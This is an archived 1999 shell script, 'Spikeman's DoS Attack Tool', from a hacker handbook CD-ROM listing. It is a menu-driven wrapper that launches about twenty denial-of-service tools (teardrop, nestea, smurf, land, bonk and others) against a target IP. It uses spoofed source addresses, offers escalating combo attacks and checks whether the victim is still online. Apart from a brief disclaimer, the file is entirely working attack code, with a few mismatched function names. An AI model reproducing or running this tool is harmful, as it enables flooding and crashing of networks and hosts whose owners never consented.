home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / unix / spike.sh < prev    next >
Encoding:
Linux/UNIX/POSIX Shell Script  |  1999-04-11  |  8.6 KB  |  429 lines

  1. #!/bin/ksh
  2. #######################################################################
  3. # Spikeman's DoS Attack Tool - Revision 2             Sat Feb 27 1999 #
  4. # If you would like to experiment with this file, make sure you do    #
  5. # It to a system which you have permission to experiment on, ahead    #
  6. # Of time..  I cannot and will not be held responsible nor legally    #
  7. # Bound for The malicious activities of individuals who come into     #
  8. # Possession of This Script.                                          #
  9. #                                                                     #
  10. # To use this program you will need the teadrop, nestea,syndrop,      #
  11. # newtear,bonk,smurf,boink,pepsi,jolt,spring,land,latierra and some   #
  12. # and Some other shit you can check the source if needed....          #
  13. #                                                                     #
  14. # Spikeman                                                            #
  15. # spikeman@myself.com                http://spikeman.genocide2600.com #
  16. #######################################################################
  17. #
  18. # Revision 1
  19. # Fixed The Sleep Delay , Smurf , The dev/null problem.
  20. # New Attacks comming soon....
  21. ########
  22. # Revision 2
  23. # New attacks added . 1234 , beer , coke , dcd3c , gewse3
  24. # pong , spiffit , udpdata . Menu Changes , cleanup added
  25. ########
  26. #
  27. SOURCE=225.225.225.225
  28. SOURCE2=172.16.2.18
  29. SOURCE3=135.66.66.66
  30. SOURCE4=10.10.10.10
  31. SOURCE5=135.66.66.66
  32. SOURCE6=10.10.10.10
  33. SOURCE7=132.222.123.12
  34. SOURCE8=199.103.23.123
  35. SOURCE9=207.69.43.66
  36. SOURCE10=10.10.10.10
  37. SOURCE11=199.188.87.44
  38. SOURCE12=199.132.43.23
  39. ATTACKIP=$1
  40. REV=2
  41. exitout(){
  42. cleanup
  43. echo "Exiting Program...."
  44. exit
  45. }
  46. null(){
  47. echo "Spikemans DoS Attack Tool      Revision $REV"
  48. echo "This Script is Given Out Without Warranty"
  49. echo "Scripted by Spikeman  spikeman@myself.com"
  50. echo ""
  51. echo "Usage ./spike.sh ip/host"
  52. }
  53. cleanup(){
  54. killall -9 teardrop > /dev/null 2> /dev/null
  55. killall -9 nestea > /dev/null 2> /dev/null
  56. killall -9 syndrop > /dev/null 2> /dev/null
  57. killall -9 newtear > /dev/null 2> /dev/null
  58. killall -9 bonk > /dev/null 2> /dev/null
  59. killall -9 smurf > /dev/null 2> /dev/null
  60. killall -9 boink > /dev/null 2> /dev/null
  61. killall -9 jolt > /dev/null 2> /dev/null
  62. killall -9 sping > /dev/null 2> /dev/null
  63. killall -9 land > /dev/null 2> /dev/null
  64. killall -9 latierra > /dev/null 2> /dev/null
  65. killall -9 pepsi > /dev/null 2> /dev/null
  66. killall -9 1234 > /dev/null 2> /dev/null
  67. killall -9 beer > /dev/null 2> /dev/null
  68. killall -9 coke > /dev/null 2> /dev/null
  69. killall -9 dcd3c > /dev/null 2> /dev/null
  70. killall -9 gewse3 > /dev/null 2> /dev/null
  71. killall -9 pong > /dev/null 2> /dev/null
  72. killall -9 spiffit > /dev/null 2> /dev/null
  73. killall -9 udpdata > /dev/null 2> /dev/null
  74. killall -9 'ping -s63200' > /dev/null 2> /dev/null
  75. }
  76. teard(){
  77. echo "Teadroping....."
  78. teardrop $SOURCE $ATTACKIP -n 100 > /dev/null 2> /dev/null
  79. echo "Completed...."
  80. }
  81. ntea(){
  82. echo "Nesteaing....."
  83. nestea $SOURCE2 $ATTACKIP 139 139 500 > /dev/null 2> /dev/null
  84. nestea $SOURCE3 $ATTACKIP 139 80500 > /dev/null 2> /dev/null
  85. echo "Completed...."
  86. }
  87. sdrop(){
  88. echo "Syndroping....."
  89. syndrop $SOURCE4 $ATTACKIP 139 139 500 > /dev/null 2> /dev/null
  90. syndrop $SOURCE5 $ATTACKIP 139 90 500 > /dev/null 2> /dev/null
  91. echo "Completed...."
  92. }
  93. ntear(){
  94. echo "NewTearing....."
  95. newtear $SOURCE6 $ATTACKIP -n 300 > /dev/null 2> /dev/null
  96. echo "Completed...."
  97. }
  98. bk(){
  99. echo "Bonking....."
  100. bonk 119.168.83.42 $ATTACKIP 5000 0 1330 > /dev/null 2> /dev/null
  101. echo "Completed...."
  102. }
  103. smrf(){
  104. echo "Smurfing...."
  105. smurf 129.183.83.42 $ATTACKIP 5000 0 1330 > /dev/null 2> /dev/null
  106. echo "Completed...."
  107. }
  108. bandback(){
  109. echo "Attacking On Hold For BandWidth"
  110. sleep 16s > /dev/null 2> /dev/null
  111. echo "Completed...."
  112. }
  113. bink(){
  114. echo "Boinking....."
  115. boink 159.184.87.43 $ATTACKIP 1 500 3 > /dev/null 2> /dev/null
  116. echo "Completed...."
  117. }
  118. jlt(){
  119. echo "Jolting....."
  120. jolt $ATTACKIP $SOURCE 3 > /dev/null 2> /dev/null
  121. echo "Completed...."
  122. }
  123. spng(){
  124. echo "Spinging....."
  125. sping $ATTACKIP > /dev/null 2> /dev/null
  126. sping $ATTACKIP > /dev/null 2> /dev/null
  127. sping $ATTACKIP > /dev/null 2> /dev/null
  128. sping $ATTACKIP > /dev/null 2> /dev/null
  129. sping $ATTACKIP > /dev/null 2> /dev/null
  130. sping $ATTACKIP > /dev/null 2> /dev/null
  131. echo "Completed...."
  132. }
  133. pingfd(){
  134. echo "Ping Flooding....."
  135. ping -s63200 -c30 $ATTACKIP > /dev/null 2> /dev/null
  136. echo "Completed...."
  137. }
  138. lnd(){
  139. echo "Landing....."
  140. land $ATTACKIP 113 > /dev/null 2> /dev/null
  141. land $ATTACKIP 139 > /dev/null 2> /dev/null
  142. land $ATTACKIP 135 > /dev/null 2> /dev/null
  143. echo "Completed...."
  144. }
  145. latrra(){
  146. echo "Latierraing....."
  147. latierra -b 1 -e 1000 -s 0 -l 5 -i $ATTACKIP > /dev/null 2> /dev/null
  148. echo "Completed...."
  149. }
  150. ppsi(){
  151. echo "Pepsing....."
  152. pepsi -s 127.0.0.1 -n 100 $ATTACKIP > /dev/null 2> /dev/null
  153. echo "Completed...."
  154. }
  155. numba(){
  156. echo "1234ing....."
  157. 1234 $SOURCE9 $ATTACKIP 50 > /dev/null 2> /dev/null
  158. echo "Completed...."
  159. }
  160. be3r(){
  161. echo "Beering....."
  162. beer $ATTACKIP 5 > /dev/null 2> /dev/null
  163. echo "Completed...."
  164. }
  165. c0ke(){
  166. echo "Coking....."
  167. coke $ATTACKIP 500 > /dev/null 2> /dev/null
  168. echo "Completed...."
  169. }
  170. dcde(){
  171. echo "dcd3cing....."
  172. dcd3c $1 > /dev/null 2> /dev/null
  173. echo "Completed...."
  174. }
  175. gews3(){
  176. echo "gewse3ing....."
  177. gewse5 $ATTACKIP 4 > /dev/null 2> /dev/null
  178. echo "Completed...."
  179. }
  180. p0ng(){
  181. echo "Ponging....."
  182. pong -fV -c 50 -i 1 -s 1400 $ATTACKIP $SOURCE10 > /dev/null 2> /dev/null
  183. echo "Completed...."
  184. }
  185. spffit(){
  186. echo "Spiffiting....."
  187. spiffit $SOURCE11 139 $ATTACKIP root 500 > /dev/null 2> /dev/null
  188. echo "Completed...."
  189. }
  190. udpdat(){
  191. echo "UDPdataing....."
  192. udpdata $SOURCE7 139 $ATTACKIP 139 > /dev/null 2> /dev/null
  193. echo "Completed...."
  194. }
  195. pingonline(){
  196. echo "Pinging to see if still online"
  197. ping $ATTACKIP -c10
  198. echo "Completed...."
  199. echo "If you get a reply they are still online"
  200. echo "If not they are off or very laged.."
  201. }
  202. lightattack(){
  203. teard
  204. ntea
  205. sdrop
  206. ntear
  207. bk
  208. smrf
  209. lnd
  210. numba
  211. pingonline
  212. }
  213. medattack(){
  214. teard
  215. ntea
  216. sdrop
  217. ntear
  218. bk
  219. smrf
  220. jlt
  221. spng
  222. pingfd
  223. lnd
  224. numba
  225. be3r
  226. spffit
  227. udpdat
  228. pingonline
  229. }
  230. hardattack(){
  231. teard
  232. ntea
  233. sdrop
  234. ntear
  235. bk
  236. smrf
  237. bandback
  238. bink
  239. jlt
  240. spng
  241. pingfd
  242. lnd
  243. latrra
  244. ppsi
  245. bandback
  246. numba
  247. be3r
  248. c0ke
  249. dcde
  250. gews3
  251. p0ng
  252. spffit
  253. udpdat
  254. pingonline
  255. }
  256. pickattack(){
  257. echo "Type 1 to run Teardrop on $ATTACKIP"
  258. echo "Type 2 to run Nestea on $ATTACKIP"
  259. echo "Type 3 to run Syndrop on $ATTACKIP"
  260. echo "Type 4 to run newtear on $ATTACKIP"
  261. echo "Type 5 to run Bonk on $ATTACKIP"
  262. echo "Type 6 to run Smurf on $ATTACKIP"
  263. echo "Type 7 to run Boink on $ATTACKIP"
  264. echo "Type 8 to run Jolt on $ATTACKIP"
  265. echo "Type 9 to run Sping on $ATTACKIP"
  266. echo "Type 10 to run Pingflood on $ATTACKIP"
  267. echo "Type 11 to run Land on $ATTACKIP"
  268. echo "Type 12 to run Latierra on $ATTACKIP"
  269. echo "Type 13 to run Pepsi on $ATTACKIP"
  270. echo "Type 14 to run 1234 on $ATTACKIP"
  271. echo "Type 15 to run Beer on $ATTACKIP"
  272. echo "Type 16 to run Coke on $ATTACKIP"
  273. echo "Type 17 to run Dcd3c on $ATTACKIP"
  274. echo "Type 18 to run Gewse3 on $ATTACKIP"
  275. echo "Type 19 to run Pong on $ATTACKIP"
  276. echo "Type 20 to run Spiffit on $ATTACKIP"
  277. echo "Type 21 to run UDPdata on $ATTACKIP"
  278. echo "Type exit to run Exit out"
  279. read ATTACKS
  280. if test $ATTACKS
  281. then
  282. if test $ATTACKS = 1
  283. then
  284. teard
  285. exitout
  286. elif test $ATTACKS = 2
  287. then
  288. ntea
  289. exitout
  290. elif test $ATTACKS = 3
  291. then
  292. sdrop
  293. exitout
  294. elif test $ATTACKS = 4
  295. then
  296. ntear
  297. exitout
  298. elif test $ATTACKS = 5
  299. then
  300. bk
  301. exitout
  302. elif test $ATTACKS = 6
  303. then
  304. smrf
  305. exitout
  306. elif test $ATTACKS = 7
  307. then
  308. bink
  309. exitout
  310. elif test $ATTACKS = 8
  311. then
  312. jlt
  313. exitout
  314. elif test $ATTACKS = 9
  315. then
  316. spng
  317. exitout
  318. elif test $ATTACKS = 10
  319. then
  320. pingfd
  321. exitout
  322. elif test $ATTACKS = 11
  323. then
  324. lnd
  325. exitout
  326. elif test $ATTACKS = 12
  327. then
  328. latrra
  329. exitout
  330. elif test $ATTACKS = 13
  331. then
  332. ppsi
  333. exitout
  334. elif test $ATTACKS = 14
  335. then
  336. numba
  337. exitout
  338. elif test $ATTACKS = 15
  339. then
  340. be3r
  341. exitout
  342. elif test $ATTACKS = 16
  343. then
  344. c0ke
  345. exitout
  346. elif test $ATTACKS = 17
  347. then
  348. dcdc
  349. exitout
  350. elif test $ATTACKS = 18
  351. then
  352. gews3
  353. exitout
  354. elif test $ATTACKS = 19
  355. then
  356. p0ng
  357. exitout
  358. elif test $ATTACKS = 20
  359. then
  360. spffit
  361. exitout
  362. elif test $ATTACKS = 21
  363. then
  364. udpdat
  365. exitout
  366. elif test $ATTACKS = exit
  367. then
  368. exitout
  369. fi
  370. fi
  371. }
  372. comboattacks(){
  373. echo "Type 1 Light Combo Attack On $ATTACKIP"
  374. echo "Type 2 Medium Combo Attack On $ATTACKIP"
  375. echo "Type 3 Hard Combo Attack On $ATTACKIP"
  376. echo "Type 4 To Exit Out"
  377. read PICKTWO
  378. if test $PICKTWO
  379. then
  380. if test $PICKTWO = 1
  381. then
  382. lightattack
  383. exitout
  384. elif test $PICKTWO = 2
  385. then
  386. medattack
  387. exitout
  388. elif test $PICKTWO = 3
  389. then
  390. hardattack
  391. exitout
  392. elif test $PICKTWO = exit
  393. then
  394. exitout
  395. fi
  396. fi
  397. }
  398. if [ $# != 1 ]
  399. then
  400. null
  401. exit
  402. else
  403. echo "Type 1 for Combo Attacks"
  404. echo "Type 2 for Pick The Attack"
  405. echo "Type 3 To Run Clean up (Kill Hung Attacks)"
  406. echo "Type 4 To Exit Out"
  407. read PICKONE
  408. if test $PICKONE
  409. then
  410. if test $PICKONE = 1
  411. then
  412. comboattacks
  413. exitout
  414. elif test $PICKONE = 2
  415. then
  416. pickattack
  417. exitout
  418. elif test $PICKONE = 3
  419. then
  420. cleanup
  421. exitout
  422. elif test $PICKONE = 4
  423. then
  424. exitout
  425. fi
  426. fi
  427. fi
  428. fi
  429.